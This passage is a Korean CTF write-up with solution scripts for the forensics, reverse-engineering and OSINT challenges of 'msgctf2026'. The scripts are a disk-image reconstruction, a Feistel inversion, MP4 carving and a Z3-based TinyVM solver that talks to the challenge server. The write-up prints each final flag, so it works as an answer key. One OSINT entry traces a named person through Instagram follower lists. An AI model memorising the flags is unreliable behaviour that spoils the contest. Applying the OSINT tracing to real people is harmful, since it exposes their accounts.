        f"type=bind,source={evidence_dir},target=/evidence,readonly",
        "snafu-ewf-tools:latest",
        "icat",
        "-i",
        "ewf",
        "-f",
        "ntfs",
        "-o",
        PARTITION_OFFSET,
        "/evidence/evidence.E01",
        str(inode),
```

```
    ]
    return subprocess.run(
        command, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=60
    ).stdout

def snapshot_inputs(evidence_dir: Path) -> tuple[dict[str, object], str]:
    artifacts: list[dict[str, object]] = []
    manifest: list[dict[str, str]] = []
    for label, relative_path, inode in PROFILE_FILES:
        content = extract_inode(evidence_dir, inode)
        content_sha256 = hashlib.sha256(content).hexdigest()
        manifest.append(
            {
                "label": label,
                "relative_path": relative_path.replace("₩₩", "/"),
                "sha256": content_sha256,
            }
        )
        artifacts.append(
            {
                "label": label,
                "relative_path": relative_path,
                "size": len(content),
                "sha256": content_sha256,
                "encoding": "base64",
                "data": base64.b64encode(content).decode("ascii"),
            }
        )

    manifest_json = json.dumps(
        manifest, ensure_ascii=True, separators=(",", ":"), allow_nan=False
    ).encode("utf-8")
    profile_digest = hashlib.sha256(manifest_json).hexdigest()
    if profile_digest != EXPECTED_PROFILE_DIGEST:
        raise ValueError("프로필 파일이 snapshot.py의 무결성 정책과 일치하지 않음")

    assessment = json.loads(extract_inode(evidence_dir, 109324).decode("utf-8"))
    state = json.loads(extract_inode(evidence_dir, 145639).decode("utf-8"))
    if state["schema"] != "reference-state-v2":
        raise ValueError("승인된 snapshot 상태 파일이 아님")

    # 이 실행 환경 값은 아래 압축 해시와 정확히 일치하는 것으로 검증했다.
    runtime = {
        "username": "jiwoo",
        "hostname": "JIWOO-LAPTOP",
        "platform": "Windows-10-10.0.19045-SP0",
        "architecture": "AMD64",
        "python_version": "3.11.9",
        "working_directory": (
            r"C:₩Users₩jiwoo₩Documents₩Projects₩backend-engineer-challenge"
        ),
    }
    payload: dict[str, object] = {
        "schema": "reference-snapshot-v2",
        "request_id": state["request_id"],
        "generated_at": "",
        "assessment": {
            "candidate_id": assessment["candidate_id"],
            "assessment_id": assessment["assessment_id"],
        },
        "runtime": runtime,
        "artifacts": artifacts,
    }
    return payload, str(state["snapshot_sha256"])

def serialize(payload: dict[str, object]) -> tuple[bytes, bytes]:
    raw = json.dumps(
        payload,
        ensure_ascii=True,
        separators=(",", ":"),
        sort_keys=True,
        allow_nan=False,
    ).encode("utf-8")
    buffer = io.BytesIO()
    with gzip.GzipFile(filename="", mode="wb", fileobj=buffer, mtime=0) as stream:
        stream.write(raw)
    return raw, buffer.getvalue()

def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--evidence-dir",
        type=Path,
        default=Path(r"C:₩Users₩heedo₩Downloads₩Is This Job Legit₩Is This Job Legit_"),
    )
    parser.add_argument(
        "--search-timestamp",
        action="store_true",
        help="USN 시각 범위의 마이크로초 값을 재탐색한다",
    )
    args = parser.parse_args()
    payload, accepted_gzip_sha256 = snapshot_inputs(args.evidence_dir)

    if args.search_timestamp:
        timestamps = (
            f"2026-09-06T14:37:08.{microsecond:06d}Z"
            for microsecond in range(534_898, 675_011)
        )
    else:
```

```
        timestamps = (KNOWN_GENERATED_AT,)

    for generated_at in timestamps:
        payload["generated_at"] = generated_at
        raw, compressed = serialize(payload)
        if hashlib.sha256(compressed).hexdigest() == accepted_gzip_sha256:
            if gzip.decompress(compressed) != raw:
                raise ValueError("gzip 압축 해제 결과가 원본과 다름")
            print(f"generated_at={generated_at}")
            print(f"gzip_size={len(compressed)}")
            print(f"raw_size={len(raw)}")
            print(f"accepted_gzip_sha256={accepted_gzip_sha256}")
            print(f"decompressed_sha256={hashlib.sha256(raw).hexdigest()}")
            return
    raise ValueError("승인된 gzip SHA-256과 일치하는 snapshot을 재구성하지 못함")

if __name__ == "__main__":
    main()
```

analyze_mft.py

코드 블록 (python)

```
"""List matching NTFS MFT names and the first unnamed $DATA run."""

import argparse
import mmap
import re
import struct
from pathlib import Path

def u16(data, offset):
    return struct.unpack_from("<H", data, offset)[0]

def u32(data, offset):
    return struct.unpack_from("<I", data, offset)[0]

def u64(data, offset):
    return struct.unpack_from("<Q", data, offset)[0]

def fixup(raw):
    data = bytearray(raw)
    if data[:4] != b"FILE":
        return None
    usa_offset, usa_count = u16(data, 4), u16(data, 6)
    if usa_offset + usa_count * 2 > len(data) or usa_count < 2:
        return None
    sequence = data[usa_offset : usa_offset + 2]
    for i in range(1, usa_count):
        end = i * 512 - 2
        if data[end : end + 2] != sequence:
            return None
        data[end : end + 2] = data[usa_offset + i * 2 : usa_offset + i * 2 + 2]
    return data

def attributes(data):
    offset = u16(data, 20)
    while offset + 16 <= len(data):
        kind = u32(data, offset)
        if kind == 0xFFFFFFFF:
            return
        length = u32(data, offset + 4)
        if length < 16 or offset + length > len(data):
            return
        yield kind, data[offset : offset + length]
        offset += length

def first_run(attr):
    offset = u16(attr, 32)
    if offset >= len(attr):
        return None
    header = attr[offset]
    length_width, lcn_width = header & 0xF, header >> 4
    if not length_width or not lcn_width or offset + 1 + length_width + lcn_width > len(attr):
        return None
    offset += 1 + length_width
    return int.from_bytes(attr[offset : offset + lcn_width], "little", signed=True)

def inspect(mft, pattern):
    for entry in range(len(mft) // 1024):
        data = fixup(mft[entry * 1024 : (entry + 1) * 1024])
        if data is None:
            continue
        names = []
        datum = None
        for kind, attr in attributes(data):
            resident = attr[8] == 0
            if kind == 0x30 and resident:
                content_offset = u16(attr, 20)
                if content_offset + 66 > len(attr):
                    continue
                name_length = attr[content_offset + 64]
                name_start = content_offset + 66
                name_end = name_start + name_length * 2
                if name_end > len(attr):
                    continue
                name = attr[name_start:name_end].decode("utf-16le", errors="replace")
                parent = u64(attr, content_offset) & 0xFFFFFFFFFFFF
                names.append((name, parent))
```

```
            elif kind == 0x80 and not resident and attr[9] == 0 and datum is None:
                datum = (first_run(attr), u64(attr, 48), u64(attr, 40))
        if any(pattern.search(name) for name, _ in names):
            name_text = "; ".join(f"{name} (parent {parent})" for name, parent in names)
            print(f"{entry}₩t{u16(data, 16)}₩t{u16(data, 22)}₩t{datum}₩t{name_text}")

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("mft", type=Path)
    parser.add_argument("pattern")
    args = parser.parse_args()
    with args.mft.open("rb") as stream, mmap.mmap(stream.fileno(), 0, access=mmap.ACCESS_READ) as mft:
        inspect(mft, re.compile(args.pattern, re.IGNORECASE))

if __name__ == "__main__":
    main()
```

inspect_lcn.py

코드 블록 (python)

```
"""Hash a candidate gzip cluster from the EWF image without saving its contents."""

import argparse
import gzip
import hashlib
import subprocess
from pathlib import Path

PARTITION_SECTOR = 239616
SECTOR_SIZE = 512
CLUSTER_SIZE = 4096
EVIDENCE_DIR = Path(r"C:₩Users₩heedo₩Downloads₩Is This Job Legit₩Is This Job Legit_")

def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("lcn", type=int)
    parser.add_argument("logical_size", type=int)
    args = parser.parse_args()
    offset = PARTITION_SECTOR * SECTOR_SIZE + args.lcn * CLUSTER_SIZE
    command = [
        "docker", "run", "--rm", "--network", "none", "--read-only",
        "--memory", "2g", "--cpus", "2", "--pids-limit", "64",
        "--mount", f"type=bind,source={EVIDENCE_DIR},target=/evidence,readonly",
        "snafu-ewf-tools:latest", "ewfexport", "-q", "-u", "-o", str(offset),
        "-B", str(CLUSTER_SIZE), "-t", "-", "/evidence/evidence.E01",
    ]
    result = subprocess.run(command, capture_output=True, check=True)
    cluster = result.stdout[:CLUSTER_SIZE]
    data = cluster[: args.logical_size]
    print(f"image_offset={offset}")
    print(f"read_bytes={len(cluster)}")
    print(f"head={data[:10].hex()}")
    print(f"gzip_sha256={hashlib.sha256(data).hexdigest()}")
    try:
        original = gzip.decompress(data)
    except (OSError, EOFError) as exc:
        print(f"gzip_error={exc}")
        return
    print(f"uncompressed_size={len(original)}")
    print(f"uncompressed_sha256={hashlib.sha256(original).hexdigest()}")

if __name__ == "__main__":
    main()
```

extract_inode.py

코드 블록 (python)

```
"""Extract one NTFS inode from the supplied EWF image via Sleuth Kit in Docker."""

import argparse
import subprocess
from pathlib import Path

def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("inode", type=int)
    parser.add_argument("destination", type=Path)
    parser.add_argument(
        "--evidence-dir",
        type=Path,
        default=Path(r"C:₩Users₩heedo₩Downloads₩Is This Job Legit₩Is This Job Legit_"),
    )
    args = parser.parse_args()
    args.destination.parent.mkdir(parents=True, exist_ok=True)
    command = [
        "docker", "run", "--rm", "--network", "none", "--read-only",
        "--memory", "2g", "--cpus", "2", "--pids-limit", "64",
        "--mount", f"type=bind,source={args.evidence_dir},target=/evidence,readonly",
        "snafu-ewf-tools:latest", "icat", "-i", "ewf", "-o", "239616",
        "/evidence/evidence.E01", str(args.inode),
    ]
    with args.destination.open("wb") as stream:
        subprocess.run(command, stdout=stream, check=True)

if __name__ == "__main__":
    main()
```

최종 플래그 계산

코드 블록 (python)

```
import hashlib
A = "b0e4ecfc-bf5c-46ba-99d0-221a3f0d379f"
B = "6bff8e9e687dda40a7c301c4aae409297360333f"
C = "840c74784322042ef8333f0e4ad0dca1568632ff2d388a9985de2e73585f8dd3"
D = "145593-8-862579-2675"
preimage = "_".join((A.lower(), B.lower(), C.lower(), D)).encode("ascii")
print("msgctf2026{" + hashlib.sha256(preimage).hexdigest() + "}")
```

재현 결과

재구성한 gzip의 해시가 승인 기록의 해시 3865a14fa2de7c3d4d399aa722fae428a025a1d8cc877394d01bb52ff72a23e9와 일치했다. 계산된 플래그는 다음과 같다.

코드 블록 (text)

```
msgctf2026{23e8ad1cd3055a1a603a497cbb63647a658edcbc76c08249eaef8f8ae11f68ab}
```

21. Phantom Lattice

분야	REV
상태	완료

풀이 과정

풀이 과정

ELF의 두 데이터 영역을 XOR해 40바이트 비교 목표값을 복원했다. 프로그램은 입력 뒤에 0xa5를 붙이고 20바이트씩 나눈 두 절반에 12라운드 Feistel형 변환을 적용했다. 목표값에서 라운드를 역순으로 풀어 입력을 얻고, 다시 정방향 변환해 목표값과 일치하는지 검산했다.

익스플로잇 코드 / 분석 코드 전체

실행에 사용한 코드와 명령은 다음과 같다.

코드 블록 (text)

```
python solve.py
```

코드 블록 (python)

```
"""Recover the Phantom Lattice flag using the supplied ELF as data only."""

from pathlib import Path

ORIGINAL = Path(__file__).parent / "original" / "phantom_lattice"

def xor_bytes(a: bytes, b: bytes) -> bytes:
    assert len(a) == len(b)
    return bytes(x ^ y for x, y in zip(a, b))

def rol8(value: int, shift: int) -> int:
    value &= 0xFF
    shift &= 7
    return ((value << shift) | (value >> (8 - shift))) & 0xFF if shift else value

def make_table() -> bytes:
    state = 0x9E3779B9
    table = bytearray()
    for _ in range(256):
        state = (state * 0x19660D + 0x3C6EF35F) & 0xFFFFFFFF
        table.append((state ^ (state >> 11) ^ (state >> 23)) & 0xFF)
    return bytes(table)

def round_function(right: bytes, round_index: int, table: bytes) -> bytes:
    assert len(right) == 20
    out = bytearray()
    for j in range(20):
        key = table[(23 * round_index + 7 * j) & 255]
        mixed = rol8(
            right[(3 * round_index + 5 * j) % 20] + key + round_index,
            (key + 1) & 7,
        )
        out.append(
            mixed
            ^ right[(round_index + 7 * j) % 20]
            ^ table[(41 * round_index + 13 * j) & 255]
        )
    return bytes(out)

def transform(block: bytes, table: bytes) -> bytes:
    left, right = block[:20], block[20:]
    for round_index in range(12):
        left, right = right, xor_bytes(left, round_function(right, round_index, table))
    return left + right

def invert(target: bytes, table: bytes) -> bytes:
    left, right = target[:20], target[20:]
    for round_index in range(11, -1, -1):
        left, right = xor_bytes(right, round_function(left, round_index, table)), left
    return left + right

def main() -> None:
    data = ORIGINAL.read_bytes()
    assert data[:4] == b"₩x7fELF"
    target = xor_bytes(data[0x2060:0x2088], data[0x20A0:0x20C8])
    assert len(target) == 40
    table = make_table()
    recovered = invert(target, table)
    assert transform(recovered, table) == target
    assert recovered[39] == 0xA5
    flag = recovered[:39].decode("ascii")
    assert flag.startswith("msgctf2026{") and flag.endswith("}")
    print(f"target={target.hex()}")
    print(f"recovered={recovered.hex()}")
```

```
    print(f"forward_target_match={transform(recovered, table) == target}")
    print(f"flag={flag}")

if __name__ == "__main__":
    main()
```

재현 결과

복원한 40바이트를 다시 12라운드 변환했을 때 원래 목표값과 일치했다.

코드 블록 (text)

```
msgctf2026{ph4nt0m_l4tt1ce_6_r0und5_!!}
```

22. Ramen Man

분야	OSINT
상태	완료

풀이 과정

풀이 과정

제공된 사진이 토마토라멘임을 확인했다. MJSEC WIKI에서 강남역 토마토라멘과 고독한 미식가를 좋아한다고 적힌 최윤호를 찾았다. MJSEC 인스타그램 팔로워에서 최윤호의 계정을 찾고, 그 계정이 팔로우한 라멘 계정의 강남 하이라이트를 확인했다. 첫 장에 제공 사진과 동일한 사진 및 플래그가 있었다.

익스플로잇 코드 / 분석 코드 전체

코드 없이 공개 웹페이지와 SNS 화면을 조사했다. MJSEC WIKI의 최윤호 소개에서 라멘 취향을 확인하고, MJSEC 공식 인스타그램의 팔로워에서 k__yho04를 찾았다. 그 계정의 팔로우 목록에서 ramen_g0r0를 찾은 뒤 강남 하이라이트 첫 장의 사진과 플래그를 확인했다.

재현 결과

하이라이트 사진 위에서 다음 플래그를 직접 확인했다.

코드 블록 (text)

```
msgctf2026{WH0_TF_M4D3_TH1S_T0M4T0_R4M3N}
```

23. Snack Thief

분야	Forensics
상태	완료

풀이 과정

풀이 과정

01.png의 IEND 뒤에서 MP4 시그니처 ftypisom을 찾았다. MP4 안에는 JPEG, WebP, BMP, TIFF, GIF가 끼워져 있어 그대로는 재생되지 않았다. 각 이미지의 파일 경계를 확인해 삽입 구간을 제거하고 영상을 복원했다. 영상 첫 부분의 춤 자세를 Dancing Men 암호로 읽어 문장을 얻었다.

익스플로잇 코드 / 분석 코드 전체

실행에 사용한 코드와 명령은 다음과 같다.

코드 블록 (text)

```
python recover_video.py
```

코드 블록 (python)

```
"""01.png에 삽입된 이미지 다섯 개를 제거해 원본 MP4를 복원한다."""

from __future__ import annotations

import hashlib
import struct
import sys
from pathlib import Path

HERE = Path(__file__).resolve().parent
SOURCE = HERE / "original" / "01.png"
OUTPUT = HERE / "recovered.mp4"
SOURCE_SHA256 = "32ad5f2ad5b82303796c001c83759dc8d3b126748334e0ef913783e0dbcde7ea"
OUTPUT_SHA256 = "7965fc32698456aa2dcf57ea801b0ed31aa74077bd37bef37b3403562c211d9b"

# PNG IEND 바로 뒤의 MP4 시작점을 기준으로 한 [시작, 끝) 범위.
INSERTIONS = (
    ("JPEG", 634_422, 1_128_969),
    ("WebP", 1_763_391, 1_942_521),
    ("BMP", 2_576_942, 7_297_052),
    ("TIFF", 7_931_473, 12_513_397),
    ("GIF", 13_147_818, 22_442_550),
)

def sha256(data: bytes) -> str:
    return hashlib.sha256(data).hexdigest()

def png_end(data: bytes) -> int:
    assert data.startswith(b"₩x89PNG₩r₩n₩x1a₩n"), "PNG signature mismatch"
    offset = 8
    while offset + 12 <= len(data):
        size = struct.unpack_from(">I", data, offset)[0]
        kind = data[offset + 4 : offset + 8]
        end = offset + 12 + size
        assert end <= len(data), "Truncated PNG chunk"
        offset = end
        if kind == b"IEND":
            assert size == 0, "Invalid IEND"
            return end
    raise ValueError("IEND not found")

def verify_insertions(mp4_with_insertions: bytes) -> None:
    d = mp4_with_insertions
    jpg_start, jpg_end = INSERTIONS[0][1:]
    assert d[jpg_start : jpg_start + 4] == b"₩xff₩xd8₩xff₩xe0"
    assert d[jpg_end - 2 : jpg_end] == b"₩xff₩xd9"

    webp_start, webp_end = INSERTIONS[1][1:]
    assert d[webp_start : webp_start + 4] == b"RIFF"
    assert d[webp_start + 8 : webp_start + 12] == b"WEBP"
    assert struct.unpack_from("<I", d, webp_start + 4)[0] + 8 == webp_end - webp_start

    bmp_start, bmp_end = INSERTIONS[2][1:]
    assert d[bmp_start : bmp_start + 2] == b"BM"
    assert struct.unpack_from("<I", d, bmp_start + 2)[0] == bmp_end - bmp_start

    tiff_start, tiff_end = INSERTIONS[3][1:]
    assert d[tiff_start : tiff_start + 4] == b"II*₩x00"
    assert tiff_end - tiff_start == 4_581_924

    gif_start, gif_end = INSERTIONS[4][1:]
    assert d[gif_start : gif_start + 6] == b"GIF89a"
    assert d[gif_end - 1] == 0x3B

def main() -> None:
```

```
    source = Path(sys.argv[1]) if len(sys.argv) > 1 else SOURCE
    output = Path(sys.argv[2]) if len(sys.argv) > 2 else OUTPUT
    data = source.read_bytes()
    assert sha256(data) == SOURCE_SHA256, "Unexpected source file"

    embedded = data[png_end(data) :]
    assert len(embedded) == 23_076_971
    verify_insertions(embedded)

    parts = []
    previous_end = 0
    for _, start, end in INSERTIONS:
        assert previous_end <= start < end <= len(embedded)
        parts.append(embedded[previous_end:start])
        previous_end = end
    parts.append(embedded[previous_end:])
    recovered = b"".join(parts)

    assert len(recovered) == 3_806_528
    assert recovered[4:8] == b"ftyp"
    assert sha256(recovered) == OUTPUT_SHA256, "Recovered MP4 hash mismatch"
    if not output.exists() or output.read_bytes() != recovered:
        output.write_bytes(recovered)
    print(f"{output} ({len(recovered)} bytes, SHA256 {sha256(recovered)})")

if __name__ == "__main__":
    main()
```

재현 결과

복원 영상의 자세를 해독하면 I ATE YOUR SNACK ITS ME다. 대문자와 밑줄로 만든 다음 플래그를 사용자가 제출했고, 플랫폼이 정답으로 수용했다고 보고했다.

코드 블록 (text)

```
msgctf2026{I_ATE_YOUR_SNACK_ITS_ME}
```

24. TinyVM

분야	REV
상태	완료

풀이 과정

풀이 과정

라운드마다 다른 ELF가 주어지고, 허용된 12개 입력 바이트만 수정해 출력 24바이트를 목표값과 같게 해야 했다. ELF 데이터 영역의 인코딩된 헤더와 입력 맵, 내부 capsule VM, 외부 register·stack VM을 복원했다. 외부 VM의 목표 출력으로부터 논리 입력 12바이트를 Z3로 구하고, 내부 VM을 역산해 실제 BANK의 12바이트를 구했다. 매 라운드 입력 맵을 새로 계산해 허용 위치만 패치했다.

익스플로잇 코드 / 분석 코드 전체

아래는 실행 스크립트와 필요한 보조 함수 전체다. 문제에서 제공된 바이너리, 계약, 증명 키 등은 입력 자료로 사용한다.

코드 블록 (text)

```
pip install z3-solver
python -u remote_solve.py
```

remote_solve.py

코드 블록 (python)

```
"""Solve the user-supplied TinyVM TLS challenge after local solver validation."""

import base64
import socket
import ssl
import time

from strategy_solver import solve

HOST = "ae345ab70fc4cee6bc1699d1c28e94c5.gate.msgctf.kr"
PORT = 443

def run() -> None:
    with socket.create_connection((HOST, PORT), timeout=6) as raw:
        with ssl.create_default_context().wrap_socket(raw, server_hostname=HOST) as sock:
            sock.settimeout(35)
            buf = bytearray()
            target = None
            sample = None
            round_start = None
            while True:
                while b"₩n" not in buf:
                    chunk = sock.recv(8192)
                    if not chunk:
                        if buf:
                            print(buf.decode(errors="replace"), flush=True)
                        return
                    buf.extend(chunk)
                line, _, remainder = buf.partition(b"₩n")
                buf = bytearray(remainder)
                line = bytes(line).rstrip(b"₩r")
                if line.startswith(b"ROUND "):
                    round_start = time.monotonic()
                    target = None
                    sample = None
                    print(line.decode(errors="replace"), flush=True)
                elif line.startswith(b"target_hex: "):
                    target = bytes.fromhex(line.split(b": ", 1)[1].decode())
                    print(f"target_hex: {target.hex()}", flush=True)
                elif line.startswith(b"sample_b64: "):
                    sample = base64.b64decode(line.split(b": ", 1)[1], validate=True)
                    assert sample.startswith(b"₩x7fELF")
                    print(f"sample ELF: {len(sample)} bytes", flush=True)
                elif line.startswith(b"submit one base64-encoded patched binary:"):
                    assert target is not None and len(target) == 24 and sample is not None
                    started = time.monotonic()
                    patched = solve(sample, target)
                    elapsed = time.monotonic() - started
                    assert len(patched) == len(sample)
                    changed = [i for i, (a, b) in enumerate(zip(sample, patched)) if a != b]
                    print(
                        f"solver: {elapsed:.3f}s, {len(changed)} changed bytes, "
                        f"round elapsed {time.monotonic() - round_start:.3f}s",
                        flush=True,
                    )
                    sock.sendall(base64.b64encode(patched) + b"₩n")
                else:
                    print(line.decode(errors="replace"), flush=True)

if __name__ == "__main__":
```

```
    run()
```

strategy_solver.py

코드 블록 (python)

```
"""Independent symbolic solver prototype for TinyVM's two outer CFGs."""

from __future__ import annotations

import struct

from strategy_decode import mix32, mask

def ror8(x, n):
    n &= 7
    return ((x >> n) | (x << (8 - n))) & 255

def operand(seed, mode, op, offset, slot, raw):
    k = ((slot * 17 + offset) * 0x27D4EB2D) & 0xFFFFFFFF
    k ^= (op * 0xC2B2AE35) & 0xFFFFFFFF
    k ^= seed
    if mode:
        k ^= 0x85EBCA6B
    m = mix32(k)
    return ror8((raw - ((m >> 8) & 255)) & 255, m >> 24) ^ (m & 255)

def decode_graph(data, seed, off, length):
    raw = bytes(data[off+i] ^ mask(seed, 1, i) for i in range(length))
    n1 = raw[0]
    n2 = raw[1 + 10*n1]
    assert (n1+n2)*10+2 == length
    def node(record):
        return {
            'id': record[0],
            'start': record[1] | record[2] << 8,
            'size': record[3] | record[4] << 8,
            'mode': record[5],
            'cond_reg': record[6],
            'cond_bit': record[7],
            'next_set': record[8],
            'next_clear': record[9],
        }
    g1 = [node(raw[1+10*j:11+10*j]) for j in range(n1)]
    g2 = [node(raw[2+10*n1+10*j:12+10*n1+10*j]) for j in range(n2)]
    return g1,g2

def opcode_maps(seed):
    reg = {
        mix32(seed ^ k) & 255: name
        for name, k in [
            ('load', 0x51C3A7E1),
            ('mix0', 0xCFF4DE58), ('mix1', 0x6DAD5493),
            ('mix2', 0x8B65CACA), ('mix3', 0xA0786A29),
            ('mix4', 0xDE30E060), ('mix5', 0x7FE966DB),
            ('mix6', 0x9DA19D12),
            ('copy', 0x46D6C77C),
            ('update0', 0xE48F7DB7), ('update1', 0x0247F3EE),
            ('out', 0x291E4105),
        ]
    }
    stk = {
        mix32(seed ^ k) & 255: name
        for name,k in [
            ('push_inputs', 0x3CE8DE14),
            ('push_regs', 0xA2DFA7AD),
            ('push16', 0x00862D66),
            ('add', 0xE64EB33F),
            ('xor', 0x443538F0),
            ('mul', 0x2BFDBE89),
            ('and', 0x89A40442),
            ('or', 0x6F6C8A1B),
            ('load_local', 0x56716AB8),
            ('store_local', 0x3439F071),
            ('sbox', 0xCD5313DC),
            ('rol', 0xB31B9995),
            ('select', 0x12C21F2E),
            ('out16', 0xF08AE4E7),
        ]
    }
    assert len(reg)==12, reg
    assert len(stk)==14, stk
    return reg,stk

def decode_programs(data, seed, code_off, graph, region, opmap):
    programs = {}
    lengths = {
        'load':3,'copy':3,'update0':4,'update1':4,'out':3,
        'mix0':5,'mix1':5,'mix2':5,'mix3':5,'mix4':5,'mix5':5,'mix6':5,
        'push_regs':3,'push16':3,'push_inputs':3,
        'add':1,'xor':1,'mul':1,'and':1,'or':1,
        'load_local':2,'store_local':2,'sbox':1,'rol':2,'select':2,'out16':2,
    }
    for node in graph:
        pc = node['start']
        end = pc + node['size']
        inst = []
        while pc < end:
            op = data[code_off+pc] ^ mask(seed,region,pc)
```

```
            if op not in opmap:
                raise ValueError(f'unknown opcode region={region} node={node["id"]:#x} pc={pc:#x} op={op:#x}
decoded_so_far={inst}')
            name = opmap[op]
            length = lengths[name]
            if pc+length>end:
                raise ValueError(f'instruction spans node: region={region} node={node["id"]:#x} pc={pc:#x} {name}')
            args=[]
            for slot in range(length-1):
                p = pc+slot+1
                raw = data[code_off+p] ^ mask(seed,region,p)
                args.append(operand(seed,0 if region==2 else 1,op,pc-node['start'],slot,raw))
            inst.append((pc,name,args))
            pc+=length
        programs[node['id']] = inst
    return programs

def _topological(graph, entry):
    by_id = {n['id']: n for n in graph}
    seen, ordered = set(), []
    def visit(ident):
        if ident in seen:
            return
        seen.add(ident)
        n = by_id[ident]
        if n['mode'] != 2:
            visit(n['next_set'])
            if n['mode'] == 1:
                visit(n['next_clear'])
        ordered.append(ident)
    visit(entry)
    return [by_id[i] for i in reversed(ordered)]

def _sbox_functions(table):
    import z3
    packed = sum(v << (4*i) for i,v in enumerate(table))
    const = z3.BitVecVal(packed,64)
    def nib(n):
        return z3.Extract(3,0,z3.LShR(const, z3.ZeroExt(60,n)*4))
    def box8(v):
        return z3.Concat(nib(z3.Extract(7,4,v)),nib(z3.Extract(3,0,v)))
    def box16(v):
        return z3.Concat(*(nib(z3.Extract(4*i+3,4*i,v)) for i in (3,2,1,0)))
    return box8,box16

def _merge(incoming):
    import z3
    if len(incoming)==1:
        return incoming[0]
    guards = [g for g,_ in incoming]
    state = []
    for j in range(len(incoming[0][1])):
        v = incoming[-1][1][j]
        for g,s in reversed(incoming[:-1]):
            v = z3.If(g,s[j],v)
        state.append(v)
    return z3.Or(*guards),state

def _run_reg_symbolic(graph,program,entry,logical,box8):
    import z3
    zero = z3.BitVecVal(0,8)
    incoming={entry:[(z3.BoolVal(True),[zero]*56)]}
    final=None
    for node in _topological(graph,entry):
        guard,state=_merge(incoming[node['id']])
        state=list(state)
        reg=state[:32]
        out=state[32:]
        for _,name,args in program[node['id']]:
            if name=='load':
                dst,idx=args;reg[dst]=logical[idx]
            elif name=='copy':
                dst,src=args;reg[dst]=reg[src]
            elif name=='update0':
                dst,src,k=args;reg[dst]=reg[dst]^reg[src]^z3.BitVecVal(k,8)
            elif name=='update1':
                dst,src,k=args;reg[dst]=reg[dst]+reg[src]+z3.BitVecVal(k,8)
            elif name.startswith('mix'):
                dst,src1,src2,k=args
                a,b,c=reg[dst],reg[src1],reg[src2]
                imm=z3.BitVecVal(k,8)
                which=int(name[3:])
                if which==0:
                    value=box8(a+b) ^ (c*a+imm)
                elif which==1:
                    value=box8((a&b)|(imm^c)) + c*b
                elif which==2:
                    value=box8(z3.If(z3.Extract(k&7,k&7,a)==z3.BitVecVal(1,1),b,c)+c*b)
                elif which==3:
                    value=a*(b|z3.BitVecVal(1,8))+c+imm
                elif which==4:
                    value=((a&b)|(~b&c))^imm
                elif which==5:
                    value=z3.RotateLeft(a^b,k&7)+c
                else:
                    value=z3.If(z3.Extract(k&7,k&7,a)==z3.BitVecVal(1,1),b,c)^imm
                reg[dst]=value
            elif name=='out':
                src,pos=args;out[pos]=reg[src]
```

```
                else:
                    raise ValueError(name)
            state=reg+out
            if node['mode']==2:
                final=(guard,state)
            elif node['mode']==0:
                incoming.setdefault(node['next_set'],[]).append((guard,state))
            else:
                c=z3.Extract(node['cond_bit'],node['cond_bit'],reg[node['cond_reg']])==z3.BitVecVal(1,1)
                incoming.setdefault(node['next_set'],[]).append((z3.And(guard,c),state))
                incoming.setdefault(node['next_clear'],[]).append((z3.And(guard,z3.Not(c)),state))
        assert final is not None
        return final[1][:32], final[1][32:]

    def _run_stack_symbolic(graph,program,entry,logical,regs,out,box16):
        import z3
        zero16=z3.BitVecVal(0,16)
        incoming={entry:[(z3.BoolVal(True),[zero16]*16+out)]}
        final=None
        for node in _topological(graph,entry):
            guard,state=_merge(incoming[node['id']])
            state=list(state)
            loc=state[:16]
            out=state[16:]
            stack=[]
            for _,name,args in program[node['id']]:
                if name=='push_inputs':
                    lo,hi=args;stack.append(z3.Concat(logical[hi],logical[lo]))
                elif name=='push_regs':
                    lo,hi=args;stack.append(z3.Concat(regs[hi],regs[lo]))
                elif name=='push16':
                    lo,hi=args;stack.append(z3.BitVecVal(lo|(hi<<8),16))
                elif name=='load_local':
                    stack.append(loc[args[0]])
                elif name=='store_local':
                    loc[args[0]]=stack.pop()
                elif name in ('add','xor','mul','and','or'):
                    b,a=stack.pop(),stack.pop()
                    stack.append({'add':lambda:a+b,'xor':lambda:a^b,'mul':lambda:a*b,'and':lambda:a&b,'or':lambda:
a|b}name)
                elif name=='sbox':
                    stack[-1]=box16(stack[-1])
                elif name=='rol':
                    stack[-1]=z3.RotateLeft(stack[-1],args[0]&15)
                elif name=='select':
                    flag,a,b=stack.pop(-3),stack.pop(-2),stack.pop(-1)
                    stack.append(z3.If(z3.Extract(args[0]&15,args[0]&15,flag)==z3.BitVecVal(1,1),a,b))
                elif name=='out16':
                    pos=args[0];v=stack.pop();out[pos]=z3.Extract(7,0,v);out[pos+1]=z3.Extract(15,8,v)
                else:
                    raise ValueError(name)
            assert not stack,(node,stack)
            state=loc+out
            if node['mode']==2:
                final=(guard,state)
            elif node['mode']==0:
                incoming.setdefault(node['next_set'],[]).append((guard,state))
            else:
                c=z3.Extract(node['cond_bit'],node['cond_bit'],loc[node['cond_reg']])==z3.BitVecVal(1,1)
                incoming.setdefault(node['next_set'],[]).append((z3.And(guard,c),state))
                incoming.setdefault(node['next_clear'],[]).append((z3.And(guard,z3.Not(c)),state))
        assert final is not None
        return final[1][16:]

    def solve_logical(elf: bytes,target: bytes, timeout_ms=25000):
        """Recover the 12 capsule output bytes that produce the 24-byte target."""
        import z3
        from strategy_decode import decode_bytes
        data,seed,head,table,input_map=decode_bytes(elf)
        g1,g2=decode_graph(data,seed,head[0],head[1])
        reg_op,stk_op=opcode_maps(seed)
        p1=decode_programs(data,seed,head[2],g1,2,reg_op)
        p2=decode_programs(data,seed,head[4],g2,3,stk_op)
        logical=[z3.BitVec(f'logical_{i}',8) for i in range(12)]
        box8,box16=_sbox_functions(table)
        regs,out=_run_reg_symbolic(g1,p1,head[10],logical,box8)
        out=_run_stack_symbolic(g2,p2,head[11],logical,regs,out,box16)
        solver=z3.Solver()
        solver.set('timeout',timeout_ms)
        for got,want in zip(out,target):
            solver.add(got==z3.BitVecVal(want,8))
        result=solver.check()
        if result!=z3.sat:
            raise ValueError(f'outer solver {result}, {solver.reason_unknown() if result==z3.unknown else ""}')
        model=solver.model()
        return bytes(model.eval(x).as_long() for x in logical)

    def forward_logical(elf: bytes, logical_bytes: bytes):
        """Evaluate the decoded outer VM to compare with the native decoy output."""
        import z3
        from strategy_decode import decode_bytes
